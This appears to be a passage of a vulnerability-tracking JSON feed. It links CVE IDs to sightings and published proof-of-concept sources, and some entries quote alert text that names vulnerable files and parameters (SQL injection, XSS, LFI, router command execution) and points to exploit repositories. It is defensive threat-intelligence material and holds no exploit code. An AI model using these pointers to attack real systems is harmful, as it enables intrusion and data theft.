"https://vulnerability.circl.lu/bundle/bbcbc485-b88d-4831-b8e9-6e37e7bd9875", "content": "", "creation_timestamp": "2026-01-21T21:18:16.771453Z"}, {"uuid": "4b52cf11-0d8a-4525-9805-c1fac7314591", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45286", "type": "seen", "source": "https://gist.github.com/alon710/36626992c0ce784e8077bcd0506af6a7", "content": "", "creation_timestamp": "2026-01-24T22:43:15.000000Z"}, {"uuid": "4fff471f-96d9-4780-8eb2-c7b2c16ef4e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45286", "type": "seen", "source": "https://gist.github.com/alon710/c9127533d7edd671bb1c78c6d4db8ca0", "content": "", "creation_timestamp": "2026-01-24T22:43:20.000000Z"}, {"uuid": "6815d73f-e95a-40e0-8bf1-746a0b2595ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4576", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mickqnajo22p", "content": "", "creation_timestamp": "2026-03-30T21:03:05.165389Z"}, {"uuid": "0c70e14e-ec84-470e-ad6e-b0134305858e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4524", "type": "seen", "source": "https://bsky.app/profile/exploitdb-bot.bsky.social/post/3mitd3bqrf723", "content": "", "creation_timestamp": "2026-04-06T13:01:06.871413Z"}, {"uuid": "18e847c2-1974-41a7-a048-f10c45fa5c5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45286", "type": "published-proof-of-concept", "source": "Telegram/VT6__BfG-NV3TfbCsF7d29L1QsNikCty5LjazQa3RLsn_wI", "content": "", "creation_timestamp": "2026-01-02T21:56:46.000000Z"}, {"uuid": "34d23179-42b1-41d9-a8c5-97c4c444ad72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45805", "type": "published-proof-of-concept", "source": "Telegram/9rrZvfszAHZD2Hy5bgM2y6D8Ak30deFhbRog-CCMeIQg31E", "content": "", "creation_timestamp": "2025-12-15T21:00:05.000000Z"}, {"uuid": "59dc7b0f-e5d9-48aa-a75d-99ffd3f25ddf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4524", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3miwohz5dkf2y", "content": "", "creation_timestamp": "2026-04-07T21:03:17.088821Z"}, {"uuid": "c909a367-2cce-4898-87ea-9ae9f773d993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "published-proof-of-concept", "source": "https://t.me/ITWirklaerenauf/368", "content": "\ud83d\udd10 Two Linux flaws let local attackers steal secrets from crash dumps \u2014 including password hashes.\n\nFound in Ubuntu, RHEL & Fedora, the bugs (CVE-2025-5054 & CVE-2025-4598) exploit SUID crash handling.\n\nA simple race\u2014triggered at just the right time\u2014can leak /etc/shadow data.\n\nPoC is public. Mitigations exist.\n\nRead: https://thehackernews.com/2025/05/new-linux-flaws-allow-password-hash.html", "creation_timestamp": "2025-05-31T20:26:40.000000Z"}, {"uuid": "6f353aab-6a9b-4f7e-82e6-aae329fc6af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4568", "type": "seen", "source": "Telegram/YPcpoDw6jiJDmYZAO3xumgwuDhmC0NT79T21Hda3Cd89Jso", "content": "", "creation_timestamp": "2025-06-05T11:00:33.000000Z"}, {"uuid": "56daba8d-2169-4560-8a37-8af40320aa21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45985", "type": "published-proof-of-concept", "source": "Telegram/-fr9SsXDRNoB0zZ9jw5Kx5DajsB80GCF17QbtgcFI2qKqQ0", "content": "", "creation_timestamp": "2025-06-13T16:08:21.000000Z"}, {"uuid": "b0156f1b-056d-4244-8f0d-c25b3ee4a6ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45986", "type": "published-proof-of-concept", "source": "Telegram/-fr9SsXDRNoB0zZ9jw5Kx5DajsB80GCF17QbtgcFI2qKqQ0", "content": "", "creation_timestamp": "2025-06-13T16:08:21.000000Z"}, {"uuid": "d51d4419-1545-415f-9c8d-eba274619f57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45987", "type": "published-proof-of-concept", "source": "Telegram/-fr9SsXDRNoB0zZ9jw5Kx5DajsB80GCF17QbtgcFI2qKqQ0", "content": "", "creation_timestamp": "2025-06-13T16:08:21.000000Z"}, {"uuid": "b926dd9c-4293-43fc-aaf3-232fe0e485c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45984", "type": "published-proof-of-concept", "source": "Telegram/-fr9SsXDRNoB0zZ9jw5Kx5DajsB80GCF17QbtgcFI2qKqQ0", "content": "", "creation_timestamp": "2025-06-13T16:08:21.000000Z"}, {"uuid": "86b61d72-7028-420f-8270-eac16e082d9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45988", "type": "published-proof-of-concept", "source": "Telegram/-fr9SsXDRNoB0zZ9jw5Kx5DajsB80GCF17QbtgcFI2qKqQ0", "content": "", "creation_timestamp": "2025-06-13T16:08:21.000000Z"}, {"uuid": "c08ceb10-8139-4e8e-aa89-05ff240a99c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4524", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/37546", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aCVE-2025-4524 - Unauthenticated madara-core Wordpress theme LFI\nURL\uff1ahttps://github.com/ptrstr/CVE-2025-4524\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-05-20T23:11:45.000000Z"}, {"uuid": "c9d00e3a-91d6-4889-bb65-59efc3a03df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45806", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj375hm4tz25", "content": "", "creation_timestamp": "2026-04-09T16:12:07.224667Z"}, {"uuid": "dc78c0db-7e80-495e-a984-da0594fc7c37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45784", "type": "published-proof-of-concept", "source": "Telegram/4HBiddkipVDKS5d3LUOqCrILjbEOa9wvtuqYzTn22K_SmmY", "content": "", "creation_timestamp": "2025-06-18T15:31:20.000000Z"}, {"uuid": "e9d18432-8bd6-43fa-965e-6ff68c7d2752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45786", "type": "published-proof-of-concept", "source": "Telegram/4HBiddkipVDKS5d3LUOqCrILjbEOa9wvtuqYzTn22K_SmmY", "content": "", "creation_timestamp": "2025-06-18T15:31:20.000000Z"}, {"uuid": "ea8d6e33-ac41-49fb-9423-6e8c1df8b074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45407", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/42835", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aCVE-2025-45407: Multiple XSS Vulnerabilities in DiscoveryNG v6.0.8 Hotfix 2 Discovered by: YallaSec Security Research Team CVE ID: CVE-2025-45407 Date Published: July 2025\nURL\uff1ahttps://github.com/yallasec/CVE-2025-45407\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-07-03T10:46:02.000000Z"}, {"uuid": "709842ab-f68c-4458-b121-e4334cc14d2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4524", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-4524.yaml", "content": "", "creation_timestamp": "2026-04-16T00:17:41.000000Z"}, {"uuid": "0871dae2-6be0-4949-8495-b1d505f11ce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4524", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mjpt4bkrsf25", "content": "", "creation_timestamp": "2026-04-17T21:02:32.571748Z"}, {"uuid": "3ba38185-3684-4acf-b2e6-b5aef02a7958", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45805", "type": "published-proof-of-concept", "source": "Telegram/BYReJ_HPP_SyLhmcKeWSqbALuDJ9yVdorBmcZtQNEL87mls", "content": "", "creation_timestamp": "2025-09-03T03:00:12.000000Z"}, {"uuid": "c71b7fe5-5f05-4a4a-8e01-fb05637b7a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45805", "type": "seen", "source": "Telegram/cHcofYq5yVH7DLc69hIcAd2SE1E77x3v0sMIcSbMCujGDRo", "content": "", "creation_timestamp": "2025-09-03T03:00:07.000000Z"}, {"uuid": "6acea94d-def7-4eb8-89d1-335da859c7e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4516", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mk3jo4n4m62w", "content": "", "creation_timestamp": "2026-04-22T12:45:31.097422Z"}, {"uuid": "773ab2ef-3a8b-42fd-9530-c0131a85a0c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45805", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/50029", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aPoc Of CVE-2025-45805\nURL\uff1ahttps://github.com/mhsinj/CVE-2025-45805\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-09-02T20:16:29.000000Z"}, {"uuid": "d33c7e92-8ec1-4fb3-8ba4-8ec8c5a0a175", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4514", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15909", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4514\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, has been found in Zhengzhou Jiuhua Electronic Technology mayicms up to 5.8E. Affected by this issue is some unknown functionality of the file /javascript.php. The manipulation of the argument Value leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-10T20:00:05.891Z\n\ud83d\udccf Modified: 2025-05-10T20:00:05.891Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308234\n2. https://vuldb.com/?ctiid.308234\n3. https://vuldb.com/?submit.564243\n4. https://github.com/Axianke/cve/issues/1", "creation_timestamp": "2025-05-10T20:27:09.000000Z"}, {"uuid": "1e093399-b8f9-4849-9722-02cc26f7d8dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4509", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15906", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4509\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, has been found in PHPGurukul e-Diary Management System 1.0. This issue affects some unknown processing of the file /manage-notes.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-10T17:31:05.536Z\n\ud83d\udccf Modified: 2025-05-10T17:31:05.536Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308225\n2. https://vuldb.com/?ctiid.308225\n3. https://vuldb.com/?submit.567288\n4. https://github.com/y77-88/myCVE/issues/6\n5. https://phpgurukul.com/", "creation_timestamp": "2025-05-10T18:29:21.000000Z"}, {"uuid": "be42ed35-da94-4b57-8ad1-b827d7e52846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45947", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13738", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45947\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in phpgurukul Online Banquet Booking System V1.2 allows an attacker to execute arbitrary code via the /obbs/change-password.php file of the My Account - Change Password component\n\ud83d\udccf Published: 2025-04-28T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-28T19:30:27.529Z\n\ud83d\udd17 References:\n1. http://phpgurukul.com\n2. https://github.com/VasilVK/CVE/blob/main/CVE-2025-45947/README.MD", "creation_timestamp": "2025-04-28T20:11:29.000000Z"}, {"uuid": "a752e7af-b135-4284-b990-bdc4dedddecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45949", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13739", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45949\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A critical vulnerability was found in PHPGurukul User Registration & Login and User Management System V3.3 in the /loginsystem/change-password.php file of the user panel - Change Password component. Improper handling of session data allows a Session Hijacking attack, exploitable remotely and leading to account takeover.\n\ud83d\udccf Published: 2025-04-28T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-28T19:25:50.357Z\n\ud83d\udd17 References:\n1. http://phpgurukul.com\n2. https://github.com/VasilVK/CVE/blob/main/CVE-2025-45949/README.MD", "creation_timestamp": "2025-04-28T20:11:30.000000Z"}, {"uuid": "92e75c83-ddf5-4cb0-aa7b-dcc7210f1688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4582", "type": "published-proof-of-concept", "source": "Telegram/rQGGJNosiE90GfC_4CPODN8OMH2HUk0rxa4z_Vhsu5hB7e0", "content": "", "creation_timestamp": "2026-04-01T03:17:49.000000Z"}, {"uuid": "f702e07f-92f2-4dff-b540-13d7ef6677ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45953", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13822", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45953\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A vulnerability was found in PHPGurukul Hostel Management System 2.1 in the /hostel/change-password.php file of the user panel - Change Password component. Improper handling of session data allows a Session Hijacking attack, exploitable remotely\n\ud83d\udccf Published: 2025-04-28T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-29T13:45:31.706Z\n\ud83d\udd17 References:\n1. http://phpgurukul.com\n2. https://github.com/VasilVK/CVE/blob/main/CVE-2025-45953/README.MD", "creation_timestamp": "2025-04-29T14:11:53.000000Z"}, {"uuid": "6b574b9a-eb17-4253-8c09-3615019e618d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45956", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13864", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45956\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A SQL injection vulnerability in manage_damage.php in Sourcecodester Computer Laboratory Management System v1.0 allows an authenticated attacker to execute arbitrary SQL commands via the \"id\" parameter\n\ud83d\udccf Published: 2025-04-29T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-29T16:46:35.720Z\n\ud83d\udd17 References:\n1. https://github.com/lloydik/CLMS-vulnerabilities/blob/main/SQLi-CLMS-PoC.md", "creation_timestamp": "2025-04-29T17:11:56.000000Z"}, {"uuid": "d37934a3-2822-4ed5-b7f6-3e227c790114", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45800", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14536", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45800\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TOTOLINK A950RG V4.1.2cu.5204_B20210112 contains a command execution vulnerability in the setDeviceName interface of the /lib/cste_modules/global.so library, specifically in the processing of the deviceMac parameter.\n\ud83d\udccf Published: 2025-05-02T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-02T16:41:21.528Z\n\ud83d\udd17 References:\n1. https://github.com/SunnyYANGyaya/cuicuishark-sheep-fishIOT/blob/main/ToTolink/A950RG/5024-setDeviceName-deviceMac-command.md", "creation_timestamp": "2025-05-02T17:16:40.000000Z"}, {"uuid": "34ff70bc-fb3d-491e-9fec-d424c39f05c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45020", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14024", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45020\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A SQL Injection vulnerability was discovered in the normal-bwdates-reports-details.php file of PHPGurukul Park Ticketing Management System v2.0. This vulnerability allows remote attackers to execute arbitrary SQL code via the todate parameter in a POST request.\n\ud83d\udccf Published: 2025-04-30T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-30T12:51:14.126Z\n\ud83d\udd17 References:\n1. https://github.com/rtnthakur/CVE/blob/main/PHPGurukul/Park-Ticketing-Management-System-Project/SQL/SQL_Injection_normal-bwdates-reports-details.md", "creation_timestamp": "2025-04-30T13:13:34.000000Z"}, {"uuid": "b68d6fe8-fdf4-4fd2-9d7a-032aa7e6f33e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45007", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14025", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45007\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A Reflected Cross-Site Scripting (XSS) vulnerability was discovered in the profile.php file of PHPGurukul Timetable Generator System v1.0. This vulnerability allows remote attackers to execute arbitrary JavaScript code via the adminname POST request parameter.\n\ud83d\udccf Published: 2025-04-30T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-30T12:43:43.071Z\n\ud83d\udd17 References:\n1. https://github.com/rtnthakur/CVE/blob/main/PHPGurukul/Time-Table-Generator-System/xss-injection.md", "creation_timestamp": "2025-04-30T13:13:35.000000Z"}, {"uuid": "370d88f7-c2b6-4f13-8ceb-a17d12ad8dc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45021", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14048", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45021\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A SQL Injection vulnerability was identified in the admin/edit-directory.php file of the PHPGurukul Directory Management System v2.0. Attackers can exploit this vulnerability via the email parameter in a POST request to execute arbitrary SQL commands.\n\ud83d\udccf Published: 2025-04-30T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-30T13:49:56.338Z\n\ud83d\udd17 References:\n1. https://github.com/rtnthakur/CVE/blob/main/PHPGurukul/Directory%20Management%20System/SQL/SQl_Injection_in_edit-directory.md", "creation_timestamp": "2025-04-30T14:13:19.000000Z"}, {"uuid": "48eda564-00ca-4e95-b0d6-deaf2007d3ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45892", "type": "seen", "source": "https://gist.github.com/sergkurilenko/55cbff41f8ef423d7ee6fc274e5e79a9", "content": "", "creation_timestamp": "2026-04-27T20:30:12.000000Z"}, {"uuid": "97a85f6e-da89-407e-a242-38de37fae57e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45893", "type": "seen", "source": "https://gist.github.com/sergkurilenko/55cbff41f8ef423d7ee6fc274e5e79a9", "content": "", "creation_timestamp": "2026-04-27T20:30:12.000000Z"}, {"uuid": "55e7434c-9812-47e9-81da-11f8e1d1d128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45237", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15031", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45237\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in the component /config/download of DBSyncer v2.0.6 allows attackers to access the JSON file containing sensitive account information, including the encrypted password.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-06T03:13:33.913Z\n\ud83d\udd17 References:\n1. https://github.com/86dbs/dbsyncer\n2. https://gist.github.com/chao112122/11cd0cc46f0c806856f375f9f3f410c6", "creation_timestamp": "2025-05-06T03:19:56.000000Z"}, {"uuid": "4847b172-562c-4434-9178-4d044998097c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45236", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15030", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45236\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A stored cross-site scripting (XSS) vulnerability in the Edit Profile feature of DBSyncer v2.0.6 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Nickname parameter.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-06T03:15:26.562Z\n\ud83d\udd17 References:\n1. http://dbsyncer.com\n2. https://github.com/86dbs/dbsyncer\n3. https://gist.github.com/chao112122/504e224e63c9a966ba233df1d523ce4f", "creation_timestamp": "2025-05-06T03:19:55.000000Z"}, {"uuid": "3091e290-b037-449e-bb11-b09f992b0977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45955", "type": "published-proof-of-concept", "source": "Telegram/Jxt9eYiWx20fU8jzNRv0AGJqmuUj-tn0XEQkj4TlWF9iaN8", "content": "", "creation_timestamp": "2026-01-09T03:00:10.000000Z"}, {"uuid": "d9f9bf7c-c8d0-4c0f-87ec-957e5ec2dc01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45286", "type": "seen", "source": "Telegram/Ixvst1zhHfk7lK_UhI5B29IE_UYLZOT2b0wkW9xa8GvuAtM", "content": "", "creation_timestamp": "2026-01-02T18:54:45.000000Z"}, {"uuid": "a2b91aab-1989-4e22-841c-f46d78b16b63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45617", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14959", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45617\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in the component /user/list of production_ssm v0.0.1-SNAPSHOT allows attackers to access sensitive information via a crafted payload.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:14:08.047Z\n\ud83d\udd17 References:\n1. https://github.com/megagao/production_ssm/issues/33", "creation_timestamp": "2025-05-05T19:20:17.000000Z"}, {"uuid": "4129c805-b23c-479c-8176-82fc8b59c9f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45608", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14968", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45608\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in the /system/user/findUserList API of Xinguan v0.0.1-SNAPSHOT allows attackers to access sensitive information via a crafted payload.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:13:56.417Z\n\ud83d\udd17 References:\n1. https://github.com/zykzhangyukang/Xinguan/issues/26", "creation_timestamp": "2025-05-05T19:20:30.000000Z"}, {"uuid": "285e09e8-da10-45aa-81a5-f4b8d2983a95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45610", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14966", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45610\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in the component 